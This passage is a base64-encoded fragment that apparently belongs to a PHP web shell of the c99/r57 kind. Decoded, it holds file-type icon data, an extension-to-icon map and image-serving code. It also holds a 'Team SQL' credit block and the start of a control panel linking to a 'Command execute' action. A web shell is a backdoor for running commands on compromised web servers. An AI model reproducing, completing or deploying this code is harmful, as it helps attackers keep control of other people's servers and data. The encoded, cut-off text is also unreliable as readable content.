BNTWxKcXl6RmFscUVRSnVHRVFTQ25XZzZGb2dwa0hBTUY0SEFKc1doNy96ZSIuDQoiRVFZUUxVQXNHZ00wV3d0M2JDSmZRU0Z4MTB5eUJsSm44UmZFTWdNOVgrM3FIV3E1aUVENXlDc01DbDExMWtuRHB1WGZZbHMrSUs2MSIuDQoiTFhkK1dXRUhMVWQvVG9KRlpRT09qNUNSamlDQmxaYVhJQkVBT3c9PSIsDQoiZXh0X2FzcCI9Pg0KIlIwbEdPRGRoRUFBUUFMTUFBQUFBQUlBQUFBQ0FBSUNBQUFBQWdJQUFnQUNBZ01EQXdJQ0FnUDhBQUFEL0FQLy9BQUFBLy84QS93RC8iLg0KIi8vLy8veXdBQUFBQUVBQVFBQUFFU3ZESVNhc0YyTjZETU5BUzhCeGZsMVVpT1pZZTlhVXdncERUcTZxUC9JWDBPejdBWFUvMWVSZ0kiLg0KIkQ2SFBoempTZUxZZFlhYnNEQ1dNWndoZzNXV3RLSzRRck1Ib2hDQVMraEFCQURzPSIsDQoiZXh0X21wMyI9Pg0KIlIwbEdPRGxoRUFBUUFDSUFBQ0g1QkFFQUFBWUFMQUFBQUFBUUFCQUFnZ0FBQVAvLy80Q0FnTURBd0lDQUFQLy9BQUFBQUFBQUFBTlUiLg0KImFHclM3aXVLUUdzWUlxcHA2UWlaUkRRV1lBSUxRUVNBMmcybzRRb0FTSEd3dkJiQU4zR1gxcVhBK3IxYUJRSFJaSE1FRFNZQ3ozZmMiLg0KIklHdEdUOHdBVXdsdHp3V05XUlYzTERueFlNMXViNkduZUR3QkFEcz0iLA0KImV4dF9hdmkiPT4NCiJSMGxHT0RsaEVBQVFBQ0lBQUNINUJBRUFBQVVBTEFBQUFBQVFBQkFBZ2dBQUFQLy8vNENBZ01EQXdQOEFBQUFBQUFBQUFBQUFBQU5NIi4NCiJXRnJTN2l1S1FHc1lJcXBwNlFpWjFGRkFDWWlqQjRSTXFqYlkwMUR3V2c0NGdBc3JQNVFGazI0SHVPaE9ESndTVS9JaEJZVGNqeGU0Ii4NCiJQWVhDeWcrVjJpNDRYZVJtU2ZZcXNHaEFBZ0E3IiwNCiJleHRfY2dpIj0+DQoiUjBsR09EbGhFQUFRQUdZQUFDSDVCQUVBQUV3QUxBQUFBQUFRQUJBQWhnQUFBSnRxQ0hkM2Q3aU5HYStITXU3ZXI5R2lDNitJT091OSIuDQoiRGtKQVBxeUZRcWwvTi9EbGhzeXlmZTY3QWYvU0ZQLzhrZi85bEQ5RVR2L1BDdi9jUS8vZU52L1hJZi9aS1AvUkR2L2JMZi9jTWFoNiIuDQoiTFBQWVJ2emdSK3ZneDd5Vk12L2xVdi9tVHYvZk9mL01Bdi9tY2YvTkEvL3FpZi9NQVAvVEZmL3hwN3VaVmYvV0lQL09CcXQvSHYvUyIuDQoiRXYvaFArN09PUC9XSHYvd2JITmZQNFZ6Vjd1UEZ2L3BWLy9yWGYveWNmL3pkdi8wZVVOSldFTktXc3lrSWs5UldNeXRQLy80aUVwUSIuDQoiWHYvOXFmYnB0UC91WjkzR2lOcTZYV3BSSi8vaVF2N3dzcXVFUXYvalJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuDQoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuDQoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuDQoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQWVlZ0V5Q2cwd0JoSWVIQVlxSWpBRXdob3lFQVFRWEJKQ1JoUU11QTVlU2lvb0dJd2FmaTRVTSIuDQoiQmFnTkZCTWNEUjRGUXd3QkFnRUdTQkJFRlN3eE5oQXlHZzZXQWt3Q0JBZ3ZGaVVpT0JFZ05VYzd3NElDTkQ4UEtDRkFPaTBKUE5LRCIuDQoiQWtVbkdUa1JOd01TMzRNQkpCZ2RSa0pMQ0Q3cWdnRVBLeHNKS2lZVEJ3ZUpramhRa2s3QWh4UTlGcWdMTUdCR2tHOEtGQ2c4SktBaSIuDQoiUll0TUFnRUFPdz09IiwNCiJleHRfY21kIj0+DQoiUjBsR09EbGhFQUFRQUNJQUFDSDVCQUVBQUFjQUxBQUFBQUFRQUJBQWdnQUFBUC8vLzRDQWdNREF3QUFBZ0lDQUFQLy9BQUFBQUFOSSIuDQoiZUxyY0p6REtDWWU5K0FvZ0J2bGcrRzJkU0FRQWlwSUQ1WEpESU0rMHpOSkZrZEwzREJnNkhteFdNRUFBaFZsUEJoZ1lkclloRFFDTiIuDQoiZG1yWUFNbjFvbnEvWUtwanZFZ0FBRHM9IiwNCiJleHRfY3BwIj0+DQoiUjBsR09EbGhFQUFRQUNJQUFDSDVCQUVBQUFVQUxBQUFBQUFRQUJBQWd2Ly8vd0FBQUFBQWdJQ0FnTURBd0FBQUFBQUFBQUFBQUFOQyIuDQoiV0xQYzlYQ0FTU2NaOE1sS2ljb2JCd1JrRUlrVllXcVQ0RklDb0o1djdjNnMzY3FyQXJ3aW5FLzM0OUZpTm9GdzQ0cnRscWhPTDRSYSIuDQoiRXE3WXJMREU3YTRTQURzPSIsDQoiZXh0X2luaSI9Pg0KIlIwbEdPRGxoRUFBUUFDSUFBQ0g1QkFFQUFBWUFMQUFBQUFBUUFCQUFnZ0FBQVAvLy84REF3SUNBZ0lDQUFQLy9BQUFBQUFBQUFBTkwiLg0KImFBckIzaW9hTmtLOU1OYkhzNmxCS0lvQ29JMW9VSjRONERDcXFZQnB1TTZocThQM2h3b0VnVTNtYXdFTEJFYVBGaUFVQU1nWXkzVk0iLg0KIlNuRWpnUFZhckhFSGdyQjQzSnZzenNRRUFEcz0iLA0KImV4dF9kaXoiPT4NCiJSMGxHT0RsaEVBQVFBSGNBQUNINUJBRUFBSlVBTEFBQUFBQVFBQkFBaHdBQUFQLy8vMTVwaGNmYjZOTHMvN1BjLytQMC8zSitsOWJzIi4NCiIvNTJudXFqSzUvbi8vL2ovLy83Ly8vci8vMHRybHNQbi84bm4vOG5aNXRybTc5bnUvOC9xLzlYdC85encvOTN3LytqMS85SHIvK0R2Ii4NCiIvZDd2LzczSDBNalUzOXp1Lzlici84bmU4dFhuK0s2L3o4WGovTGpWN2REcC82SzR5OGJsLzVPNDJPejIvN0hXOUp1OTJ1LzkvOFQzIi4NCiIvK0wvLys3Ky8rdjYvKy82LzlINC8rWDYvK1hsNVB6Ly8rL3Q3ZlgwOHZELy8rMy8vL1AvLy9ILy8vUDcvOG5xLzhmcC84VGw5OHpyIi4NCiIvKy96OXZUNCsrbjEvYi9rL2RueS85SHYvK3Y0LzkvMC85ZncvOC91Lzh2dC8rLzA5eFV2WGhRdFc0S1RzMlYxa3c0b1ZUZFlwRFpYIi4NCiJwVnhxaGx4cWlFeGtpbUtCdE1QTDJGdHZqMk9WNmFPdXdwcWx1bHlOM2NuTzF3QUFYUUFBWlNNOGpFNVhqZ0FBYndBQWVVUkJZZ0FBIi4NCiJkQUFBZHpaRWFFOXd3RFpZcG1WdmlSNDlqRzEya0NoRm1nWXVqNisxeGVMbjdOemo2cG0yMG9lcXlwUzIxMlNKcmFDeXhaV3l6N1BXIi4NCiI5Yy9vLzg3bi84RFg3TUhZN3EvSzVMZlg5YXJCMXNybC8yK2Z6cTI5MFUxNHE3ZkN6NmUyeVh1bTMwRmpsQ2xIYzRlWHI2YkkrYlRLIi4NCiI0cmZXK05YZTZPYnkvNVN2eldTSHIrYnI4V3VLclFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQWpnQUNzSnJEUkhTSUNEUTdJTVhEZ0p4OEV2WnVJY2JQQm9vWndiQndPTUFmTW1Zd0JDQTJzRWNOQmpKQ01ZQVRMSU9MaW9rb2NtIi4NCiJDMVFza0FDbEN4Y0dCajdFc05Ib1FBY2lTQ0MxbU5BbWpKZ0dHRUJRb0JIaWdLRU5CamhjQ0JBSXpSb0dGa3dRTU5LbnlnZ1JTUkFnIi4NCiIyQkhwREJVZWV3UlYwUERIQ3A0QlNnancwWkdIekpRY0VWRDRJRUhKellrQmZvNHNlWUdsREJ3Z1RDQUFZdkZFNEtFQkpZSTRVclBGIi4NCiJDeUlJSyt3b1lqTXdRUUk2Q29yOG1LRW54UjBuQWhZS2pISkZRWUVDa3FTa1NhMTY0SU02TGhMUnJyM3d3YUJDdTNrUEZLQ2xka0FBIi4NCiJPdz09IiwNCiJleHRfZG9jIj0+DQoiUjBsR09EbGhFQUFRQUNJQUFDSDVCQUVBQUFVQUxBQUFBQUFRQUJBQWdnQUFBUC8vLzhEQXdBQUEvNENBZ0FBQUFBQUFBQUFBQUFOUiIuDQoiV0VyY3JyQ1FRQ3NsUUEyd093ZFhrSUZXTlZCQStubWU0QVpDdW9sblJ3a3dGOVFnRU9QQUZHMjFBK1o0c1FITzk0cjFlSlJUSlZtcSIuDQoiTUlPcnJQU1dXWlJjemE2a2FvbEJDT0IwV294UnVkMEpBRHM9IiwNCiJleHRfZXhlIj0+DQoiUjBsR09EbGhFd0FPQUtJQUFBQUFBUC8vL3dBQXZjYkd4b1NFaFAvLy93QUFBQUFBQUNINUJBRUFBQVVBTEFBQUFBQVRBQTRBQUFNNyIuDQoiV0xUY1RpV1NRYXV0QkVRMWhQK2dsMjFUS0FRQWlvN1M4THhhRzh4MFBiT2NyUWY0dE51OXdhOFdITktLUmw0c2wreTlZQnVBZEVxdCIuDQoieGhJQU93PT0iLA0KImV4dF9oIj0+DQoiUjBsR09EbGhFQUFRQUNJQUFDSDVCQUVBQUFVQUxBQUFBQUFRQUJBQWd2Ly8vd0FBQUFBQWdJQ0FnTURBd0FBQUFBQUFBQUFBQUFOQiIuDQoiV0xQYzlYQ0FTU2NaOE1sS0NjQVJSd1ZrRUFLQ0lCS21OcVZycTd3cGJNbWJiYk9ucmdJOEYrcTN3OUdPUU9NUUdaeUpPc3BuTWtLbyIuDQoiV3EvTmtuYmJTZ0FBT3c9PSIsDQoiZXh0X2hwcCI9Pg0KIlIwbEdPRGxoRUFBUUFDSUFBQ0g1QkFFQUFBVUFMQUFBQUFBUUFCQUFndi8vL3dBQUFBQUFnSUNBZ01EQXdBQUFBQUFBQUFBQUFBTkYiLg0KIldMUGM5WENBU1NjWjhNbEtpY29iQndSa0VBR0NJQUtFcWFGcXBiWm5tazQyL2Q0M3lyb0ttTEFEbFBCaXM2THdLTkFGajdqZmFXVlIiLg0KIlVxVWFnbmJMZFphK1lGY0NBRHM9IiwNCiJleHRfaHRhY2Nlc3MiPT4NCiJSMGxHT0RsaEVBQVFBQ0lBQUNINUJBRUFBQVlBTEFBQUFBQVFBQkFBZ2dBQUFQOEFBUDhBL3dBQWdJQUFnUC8vQUFBQUFBQUFBQU02Ii4NCiJXRVhXL2s2UkFHc2ptRm9ZZ05CYkV3akRCMjVkR1p6VkNLZ3NSOExoU25wclBRNDA2cGFmbWtEd1V1bUl2SkJvUkFBQWxFdURFd3BKIi4NCiJBQUE3IiwNCiJleHRfaHRtbCI9Pg0KIlIwbEdPRGxoRXdBUUFMTUFBQUFBQVAvLy8ydHJuTTNQL0ZCVmhyUE85bDZJdG95dDB5aGdrK1h5L1dHcDRzWGwvaTZaNG1mZC9ITnoiLg0KImMvLy8veUg1QkFFQUFBOEFMQUFBQUFBVEFCQUFBQVNUOE1sM3FxMW02bm1DLzRHaGJGb1hKRU8xQ0FORFNvY2lHa2JBQ0hpMjBVM1AiLg0KIktJRkdJakFRT0RTaUJXTzVOQXhSUm1UZ2dEZ2ttTTdFNmlpcEhaWUtCVk5RU0JTaWt1a1N3VzRqeW1jdXBZRmdJQnFML01LOEtCRGsiLg0KIkJreDJCWFdEZlg4VEREYUZEQTBLQkFkOWZuSUtIWFlJQkpnSEJRT0hjZytWQ2lrVkE1d0xwWWdiQkt1ckRxeXNueE1PczdTMXN4SVIiLg0KIkFEcz0iLA0KImV4dF9qcGciPT4NCiJSMGxHT0RsaEVBQVFBRE1BQUNINUJBRUFBQWtBTEFBQUFBQVFBQkFBZ3dBQUFQLy8vOERBd0lDQWdJQ0FBUDhBQUFEL0FJQUFBQUNBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFSY2NNaEprNzBqNkszRnVGYkdiVUx3SmNVaGpnSGdBa1VxRWdKTkVFQWd4RWNpIi4NCiJDaThBTHNBTGFYQ0dKSzVvMUFHU0JzSUFjQUJnamdDRXdBTUVYcDBCQk1MbC9BNng1V1p0UGZRMmc2KzBqOFZ4KzdiNC9OWnFnZnRkIi4NCiJGeEVBT3c9PSIsDQoiZXh0X2pzIj0+DQoiUjBsR09EZGhFQUFRQUNJQUFDd0FBQUFBRUFBUUFJTC8vLzhBQUFDQWdJREF3TUQvL3dDQWdBQUFBQUFBQUFBRFVDaTYzQ0VneGliSCIuDQoiazBBUXNHMjAwQVFVSkJnQW9NaWhqNWRtSXhuTUp4dHFxMWRkRTBFV09oc0cxNm05TW9vQWlTV0VtVGl1QzRUdzJCQjBMOEZnSUFocyIuDQoiYTAwQWpZWUJiYy9vOUhqTm5pVUFBRHM9IiwNCiJleHRfbG5rIj0+DQoiUjBsR09EbGhFQUFRQUdZQUFDSDVCQUVBQUZBQUxBQUFBQUFRQUJBQWhnQUFBQUJpQUdQTE1tWE1NMHkvSmxmRkxGUzZLMXJHTFdqTyIuDQoiTlNtdUZUV3pHa0M1SUczVE9vLzFYRTdBSngyb0Q1WDdZb1RxVVlyd1YzL2xUSFRhUVhuZlJtREdNWVhyVWpLUUh3QU1BR2ZOUkh6aSIuDQoiVXd3NUNBQXFBRE9aR2thc0xYTFlRZ2hJQkJOM0RWRzJOV25QUm5EV1J3Qk9BQjV3RlFCQkFBQStBRkczTkFrNUJTR0hFVXF3TUFCayIuDQoiQUFBZ0FBQXdBQUJmQURlMEd4ZUxDeFpjREVLNklVdXhLRmpGTEUzQUoySEhNUktpQ1FXQ0FnQm1BQnB0RGcrSENCWmVEQXFGQldERyIuDQoiTXltVUZRcFdCajJmSmhkdkRRaE9CQzZYRjNmZFIwTzZJUjJPRHdBWkFIUFpRQ1NSRWdBU0FEYVhId0FBQUFBQUFBQUFBQUFBQUFBQSIuDQoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuDQoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuDQoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQWVaZ0ZCUVBBR0Zob2NBZ29JN09nOEpDZ3NFQlFJV1BRQ0pna0NPa0pLVVA1ZVlVRDZQa1pNNSIuDQoiTktDS1VETXlOVGczQWdnMlM1ZXFVRXBKRGdjRENBeE1UMDZoZ2syNnZBd1VGVWhEdFlwQ3V3WkJ5Qk1SUk15Q1J3TUdSa1VnMHhJZiIuDQoiMWxBZUJpRUFHUmdYRWcwdDRTd3JvQ1lsRFJBbjRTbXBLQ29RSkMvaHFWQXVOR3pnOEU5UktCRWpZQlMwSlNoR2g0VU1vWUFTQmlVUSIuDQoiQURzPSIsDQoiZXh0X2xvZyI9Pg0KIlIwbEdPRGxoRUFBUUFETUFBQ0g1QkFFQUFBZ0FMQUFBQUFBUUFCQUFnLy8vL3dBQUFNREF3SUNBZ0lDQUFBQUFnQUFBLy8vL0FBQUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVJRRUtFd0s2VXlCekM0NzVnRUFsdEprbExSQVd6YkNsUmhySzRMeTV5Zzcvd04iLg0KInpMVWFMR0JRQlYyRWdGTFY0eEVPU1NXdDlnUVFCcFJwcXhvVk5hUEtrRmI1RWgvTG1VR3pGNXFFMytFTUlnSUFPdz09IiwNCiJleHRfcGhwIj0+DQoiUjBsR09EbGhFQUFRQUFBQUFDSDVCQUVBQUFFQUxBQUFBQUFRQUJBQWdBQUFBQUFBQUFJbURBNmh5NXJXMEhHb3NmZnNkVHBxdkZsZyIuDQoidDBoa3laM1E2cWxvWjdKaW1vbVZFYit1WEFBQU93PT0iLA0KImV4dF9wbCI9Pg0KIlIwbEdPRGxoRkFBVUFLTC9BUC80LzhEQXdIOS9BUC80QUwrL3Z3QUFBQUFBQUFBQUFDSDVCQUVBQUFFQUxBQUFBQUFVQUJRQVFBTW8iLg0KIkdMcmMzZ09BTVlSNE9PdWRyZWVnUmxCV1NKMWxxSzVzNjRMaldGM2NRTWpwSnBEZjYvL0FCQUE3IiwNCiJleHRfc3dmIj0+DQoiUjBsR09EbGhGQUFVQU1RUkFQK2NuUDlTVXM0QUFQK2NBUC9PQUlRQUFQOWpBTTVqbk02Y1k4NmNuS1hPOThiZXhwd0FBUDh4QVAvTyIuDQoibkFBQUFQLy8vLy8vL3dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQ0g1QkFFQSIuDQoiQUJFQUxBQUFBQUFVQUJRQUFBVjdZQ1NPWkdtZTZQbXNiTXVxVUN6UDBBUEx6aEFidVBuUUF3ZUU1MmcwZkRLQ01HZ29PbTRRQjRHQSIuDQoiR0JnYVQyZ01RWWdWalVmU1QzWW9GR0tCUmdCcVBqZ1lERUZ4WFJwREdFSUE0eEFRUU5SMU5Ib01FQUFDQUJGaEl6OHJDbmNNQUdnQyIuDQoiTnlzTGtET1RTQ3NKTkRKYW5UVXFMcU0yS2FhbnFCRWhBRHM9IiwNCiJleHRfdGFyIj0+DQoiUjBsR09EbGhFQUFRQUdZQUFDSDVCQUVBQUVzQUxBQUFBQUFRQUJBQWhnQUFBQmxPQUZnZEFGQUFBSVlDVXdBOFp3QThaOURZNEpJQyIuDQoiV3YvLy93Q0lXQkUyQUFBeVVKaWNxSVNIbDRDQUFQRDQvK0RnOFBYNi81T1hwTDdIMCsvMi9hR21zVEl5TXRUYzVQLy9zZkw1LzhYRiIuDQoiSGdCWXB3QlVsZ0JXbjFCUUFHOGFJQUJRaFJiZm13RGNrditIMTFub3VFTGxyaXppcGYrVjNuUEEvNDBDVXptbS93QTRYaFZEQUFHRCIuDQoiVXlXZC8waXQvMXUxLzNOekFQOTUwUDk5MG1PNS83djE0WXp2elhMcndvWEkvNXZTLzdEay93QlhvdjlzeXZSandPaGF0UUNIVjE3cCIuDQoidW8wR1VRQlduUCsrOExtNUFQK2o1UUJVbEFDS1dnQTRiakpRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuDQoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuDQoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuDQoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQWVlZ0FLQ2c0U0ZTeFlORXc0Z01nU09qNDhERkFjSEVVSVpSRVlvSkRRelBUNC9Bd2NRQ1FrZyIuDQoiR3dpcHFxa3FBeElhRlJnWER3TzF0cmNBdWJxN3ZJZUpEaXdoQmNQRXhBeVRsU0VaT3pvNUtUVXhNQ3N2REtPbFNSc2NIRHdlSGtNZCIuDQoiSFVjTXI3R3pCdWZvNkF5ODdMdStpaTBmQWZQMDlBdklFUjhaTmpjNFFTVW1Ub2dZc2NCYUFpVkZrQ2hZeUJDSWl3WGtaRDJvUjNGQiIuDQoidTR0TEFnRUFPdz09IiwNCiJleHRfdHh0Ij0+DQoiUjBsR09EbGhFd0FRQUtJQUFBQUFBUC8vLzhiR3hvU0VoUC8vL3dBQUFBQUFBQUFBQUNINUJBRUFBQVFBTEFBQUFBQVRBQkFBQUFOSiIuDQoiU0FyRTNsREpGa2E5MXJLcEEvRGdKM0pCYVo2bHNDa1c2cXFrQjRqekY4QlM2NTQ0VzlaQVc0K2cyNlZXeEY5d2Rvd1ptem5sRXVwNyIuDQoiVXBQV0czSWc2SHEvWG1SanVad2tBQUE3IiwNCiJleHRfd3JpIj0+DQoiUjBsR09EbGhFQUFRQURNQUFDSDVCQUVBQUFnQUxBQUFBQUFRQUJBQWcvLy8vd0FBQUlDQWdNREF3SUNBQUFBQWdBQUEvLy8vQUFBQSIuDQoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBUlJVTWhKa2IwQzZLMkh1RWlSY2RzQWZLRXhra0RnQm9WeHN0d0FBeXBkdW9hbyIuDQoiYTRTWFQwYzRCRjByVWhGQUVBUVFJOWRtZWJSRVc4eVhDNk54MlFJN0xyWWJ0cEpaTnN4Z3pXNm5MZHE0OWhJQkFEcz0iLA0KImV4dF94bWwiPT4NCiJSMGxHT0RsaEVBQVFBRVFBQUNINUJBRUFBQkFBTEFBQUFBQVFBQkFBaFAvLy93QUFBUEh4OFlhR2hqTm1tYWJLOEFBQW1RQUFnQUNBIi4NCiJnRE9aQURObS96T1ovelAvLzhEQXdEUE0vd0FBL3dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFWazRDQ09wQWlkMEFDc2JOc01xTnF1QWlBMEFKelNkbDhId01CT1VLZ2hFQXBiRVNCVUZRd0FCSUN4Ii4NCiJPQUFNeGViVGhtQTRFb2NhdGduWUtoYUpoeFVySUJOcmg3anl0L1BaYSswaFljL24wMlY0ZHpadWZZVi9QSUdKYm9LQlFrR1BrRUVRIi4NCiJJUUE3Ig0KICk7DQogLy9Gb3Igc2ltcGxlIHNpemUtIGFuZCBzcGVlZC1vcHRpbWl6YXRpb24uDQogJGltZ2VxdWFscyA9IGFycmF5KA0KICAiZXh0X3RhciI9PmFycmF5KCJleHRfdGFyIiwiZXh0X3IwMCIsImV4dF9hY2UiLCJleHRfYXJqIiwiZXh0X2J6IiwiZXh0X2J6MiIsImV4dF90YnoiLCJleHRfdGJ6MiIsImV4dF90Z3oiLCJleHRfdXUiLCJleHRfeHhlIiwiZXh0X3ppcCIsImV4dF9jYWIiLCJleHRfZ3oiLCJleHRfaXNvIiwiZXh0X2xoYSIsImV4dF9semgiLCJleHRfcGJrIiwiZXh0X3JhciIsImV4dF91dWYiKSwNCiAgImV4dF9waHAiPT5hcnJheSgiZXh0X3BocCIsImV4dF9waHAzIiwiZXh0X3BocDQiLCJleHRfcGhwNSIsImV4dF9waHRtbCIsImV4dF9zaHRtbCIsImV4dF9odG0iKSwNCiAgImV4dF9qcGciPT5hcnJheSgiZXh0X2pwZyIsImV4dF9naWYiLCJleHRfcG5nIiwiZXh0X2pwZWciLCJleHRfamZpZiIsImV4dF9qcGUiLCJleHRfYm1wIiwiZXh0X2ljbyIsImV4dF90aWYiLCJ0aWZmIiksDQogICJleHRfaHRtbCI9PmFycmF5KCJleHRfaHRtbCIsImV4dF9odG0iKSwNCiAgImV4dF9hdmkiPT5hcnJheSgiZXh0X2F2aSIsImV4dF9tb3YiLCJleHRfbXZpIiwiZXh0X21wZyIsImV4dF9tcGVnIiwiZXh0X3dtdiIsImV4dF9ybSIpLA0KICAiZXh0X2xuayI9PmFycmF5KCJleHRfbG5rIiwiZXh0X3VybCIpLA0KICAiZXh0X2luaSI9PmFycmF5KCJleHRfaW5pIiwiZXh0X2NzcyIsImV4dF9pbmYiKSwNCiAgImV4dF9kb2MiPT5hcnJheSgiZXh0X2RvYyIsImV4dF9kb3QiKSwNCiAgImV4dF9qcyI9PmFycmF5KCJleHRfanMiLCJleHRfdmJzIiksDQogICJleHRfY21kIj0+YXJyYXkoImV4dF9jbWQiLCJleHRfYmF0IiwiZXh0X3BpZiIpLA0KICAiZXh0X3dyaSI9PmFycmF5KCJleHRfd3JpIiwiZXh0X3J0ZiIpLA0KICAiZXh0X3N3ZiI9PmFycmF5KCJleHRfc3dmIiwiZXh0X2ZsYSIpLA0KICAiZXh0X21wMyI9PmFycmF5KCJleHRfbXAzIiwiZXh0X2F1IiwiZXh0X21pZGkiLCJleHRfbWlkIiksDQogICJleHRfaHRhY2Nlc3MiPT5hcnJheSgiZXh0X2h0YWNjZXNzIiwiZXh0X2h0cGFzc3dkIiwiZXh0X2h0IiwiZXh0X2h0YSIsImV4dF9zbyIpDQogKTsNCiBpZiAoISRnZXRhbGwpDQogew0KICBoZWFkZXIoIkNvbnRlbnQtdHlwZTogaW1hZ2UvZ2lmIik7DQogIGhlYWRlcigiQ2FjaGUtY29udHJvbDogcHVibGljIik7DQogIGhlYWRlcigiRXhwaXJlczogIi5kYXRlKCJyIixta3RpbWUoMCwwLDAsMSwxLDIwMzApKSk7DQogIGhlYWRlcigiQ2FjaGUtY29udHJvbDogbWF4LWFnZT0iLig2MCo2MCoyNCo3KSk7DQogIGhlYWRlcigiTGFzdC1Nb2RpZmllZDogIi5kYXRlKCJyIixmaWxlbXRpbWUoX19GSUxFX18pKSk7DQogIGZvcmVhY2goJGltZ2VxdWFscyBhcyAkaz0+JHYpIHtpZiAoaW5fYXJyYXkoJGltZywkdikpIHskaW1nID0gJGs7IGJyZWFrO319DQogIGlmIChlbXB0eSgkaW1hZ2VzWyRpbWddKSkgeyRpbWcgPSAic21hbGxfdW5rIjt9DQogIGlmIChpbl9hcnJheSgkaW1nLCRleHRfdGFyKSkgeyRpbWcgPSAiZXh0X3RhciI7fQ0KICBlY2hvIGJhc2U2NF9kZWNvZGUoJGltYWdlc1skaW1nXSk7DQogfQ0KIGVsc2UNCiB7DQogIGZvcmVhY2goJGltZ2VxdWFscyBhcyAkYT0+JGIpIHtmb3JlYWNoICgkYiBhcyAkZCkge2lmICgkYSAhPSAkZCkge2lmICghZW1wdHkoJGltYWdlc1skZF0pKSB7ZWNobygiV2FybmluZyEgUmVtb3ZlIFwkaW1hZ2VzWyIuJGQuIl08YnI+Iik7fX19fQ0KICBuYXRzb3J0KCRpbWFnZXMpOw0KICAkayA9IGFycmF5X2tleXMoJGltYWdlcyk7DQogIGVjaG8gICI8Y2VudGVyPiI7DQogIGZvcmVhY2ggKCRrIGFzICR1KSB7ZWNobyAkdS4iOjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9Ii4kdS4iXCIgYm9yZGVyPVwiMVwiPjxicj4iO30NCiAgZWNobyAiPC9jZW50ZXI+IjsNCiB9DQogZXhpdDsNCn0NCmlmICgkYWN0ID09ICJhYm91dCIpIHtlY2hvICI8Y2VudGVyPjxiPkdyZWF0IEZvcjo8YnI+IFRlYW0gU1FMPGJyPk1yIFNvaGF5bDxicj5NciBEYW5nZXIgJiBNZXN0cm8gRHogPGJyPldXVy5URUFNLVNRTC5DT008YSBocmVmPVwiaHR0cDovL3d3cC5pY3EuY29tL3NjcmlwdHMvY29udGFjdC5kbGw/bXNndG89NjU2NTU1XCI+PGltZyBzcmM9XCJodHRwOi8vd3d3LnRlYW0tc3FsLmNvbS9jY1wiIGJvcmRlcj0wIGFsaWduPWFic21pZGRsZT48L2E+LjwvYj4iO30NCj8+DQo8L3RkPjwvdHI+PC90YWJsZT48YSBib29rbWFyaz0ibWluaXBhbmVsIj48YnI+PFRBQkxFIHN0eWxlPSJCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlIiBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgaGVpZ2h0PSIxIiB3aWR0aD0iMTAwJSIgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT4NCjx0cj48dGQgd2lkdGg9IjEwMCUiIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiIGNvbHNwYW49IjIiPjxwIGFsaWduPSJjZW50ZXIiPjxiPjo6IDxhIGhyZWY9Ijw/cGhwIGVjaG8gJHN1cmw7ID8+YWN0PWNtZCZkPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRkKTsgPz4iPjxiPkNvbW1hbmQgZXhlY3V0ZTwvYj48L2E+IDo6PC9iPjwvcD48L3R